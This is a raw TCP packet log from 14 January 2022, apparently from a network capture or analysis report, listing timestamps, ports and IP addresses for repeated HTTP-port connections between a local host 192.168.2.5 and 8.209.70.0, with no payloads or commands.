Jan 14, 2022 21:06:00.955549955 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955584049 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955585003 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955625057 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955663919 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955702066 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955704927 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955744028 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955744028 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955781937 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955820084 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955857038 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955868006 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955893993 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955897093 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955933094 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955971003 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956008911 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956013918 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.956048012 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956048965 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.956085920 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956124067 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956161976 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956162930 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.956199884 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956204891 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.956238985 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956276894 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956315041 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956316948 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.956356049 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.956357002 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956440926 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956479073 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956515074 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956518888 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.956552982 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.956552982 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.956878901 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.973946095 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974000931 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974006891 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974041939 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974081039 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974119902 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974122047 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974155903 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974160910 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974200964 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974240065 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974276066 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974282980 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974309921 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974317074 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974354029 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974392891 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974431992 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974433899 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974468946 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974469900 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974509001 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974546909 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974582911 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974592924 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974622011 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974625111 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974663973 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974703074 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974741936 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974745035 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974777937 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974780083 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974818945 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974858046 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974894047 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974894047 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974930048 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.974935055 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.974983931 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975027084 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975064993 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975069046 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975101948 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975102901 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975142002 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975179911 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975217104 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975219011 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975253105 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975255013 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975292921 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975328922 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975366116 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975367069 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975403070 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975403070 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975441933 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975481033 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975517988 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975521088 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975553036 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975557089 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975594997 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975647926 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975660086 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975687981 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975725889 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975764036 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975769997 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975801945 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975804090 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975841045 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975878954 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975915909 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975918055 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975951910 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.975951910 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.975991011 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976037025 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976074934 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976075888 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976111889 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976114035 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976150990 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976188898 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976226091 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976227045 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976260900 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976263046 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976301908 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976339102 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976376057 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976377010 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976413012 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976418018 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976457119 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976495028 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976532936 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976535082 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976569891 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976571083 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976608992 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976648092 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976686001 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976689100 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976725101 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976725101 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976761103 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976799011 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976835966 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976838112 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976871967 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976874113 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.976911068 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976948977 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976978064 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.976989985 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.977019072 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.977102995 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.995358944 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:03.830611944 CET	49903	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:03.850133896 CET	80	49903	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:03.850239038 CET	49903	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:03.850326061 CET	49903	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:03.850348949 CET	49903	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:03.869286060 CET	80	49903	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:03.998575926 CET	80	49903	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:03.998656988 CET	49903	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.001563072 CET	49903	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.020184040 CET	80	49903	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.032510042 CET	49904	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.049884081 CET	80	49904	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.049985886 CET	49904	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.050074100 CET	49904	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.050143003 CET	49904	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.068269014 CET	80	49904	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.167921066 CET	80	49904	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.168019056 CET	49904	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.168246984 CET	49904	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.185535908 CET	80	49904	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.480295897 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.497657061 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.498421907 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.498487949 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.557188988 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.599847078 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.599909067 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.599962950 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.600014925 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.600023985 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.600066900 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.600116014 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.600119114 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.600172043 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.600224972 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.600233078 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.600275993 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.600327969 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.600339890 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.600419044 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.617675066 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639147997 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639190912 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639247894 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639307022 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639364958 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639369011 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.639401913 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.639410973 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.639420986 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639472961 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639523983 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639563084 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.639576912 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639626026 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639650106 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.639678001 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639731884 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639736891 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.639786959 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639837980 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639878988 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.639893055 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639944077 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.639970064 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.640002012 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.640057087 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.640108109 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.640111923 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.640283108 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.657341003 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.657397985 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.657448053 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.657494068 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.678483009 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.678538084 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.678589106 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.678636074 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.678637981 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.678673029 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.678690910 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.678742886 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.678751945 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.678792953 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.678843975 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.678857088 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.678997993 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679049969 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679055929 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.679100990 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679152012 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679162979 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.679512978 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679563046 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679611921 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679625988 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.679661989 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679723978 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.679729939 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679779053 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679783106 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.679830074 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679879904 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679930925 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.679934025 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.679982901 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680031061 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680041075 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.680088043 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680088997 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.680139065 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680187941 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680197001 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.680238962 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680294991 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.680294991 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680347919 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680399895 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680449009 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680458069 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.680504084 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680520058 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.680557013 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680604935 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680613995 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.680655956 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680706024 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680711985 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.680756092 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680805922 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680854082 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680860043 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.680905104 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.680958033 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.702367067 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.702409983 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.702450991 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.702481985 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.702483892 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.702503920 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.717726946 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.717780113 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.717830896 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.717860937 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.717912912 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.717963934 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718009949 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718017101 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718067884 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718070030 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718120098 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718170881 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718180895 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718229055 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718286037 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718306065 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718348026 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718398094 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718404055 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718449116 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718498945 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718502045 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718547106 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718596935 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718600035 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718647003 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718651056 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718698025 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718750000 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718754053 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718799114 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718848944 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718852997 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.718899965 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.718949080 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719000101 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719005108 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.719050884 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.719100952 CET	80	49905	8.209.70.0	192.168.2.5
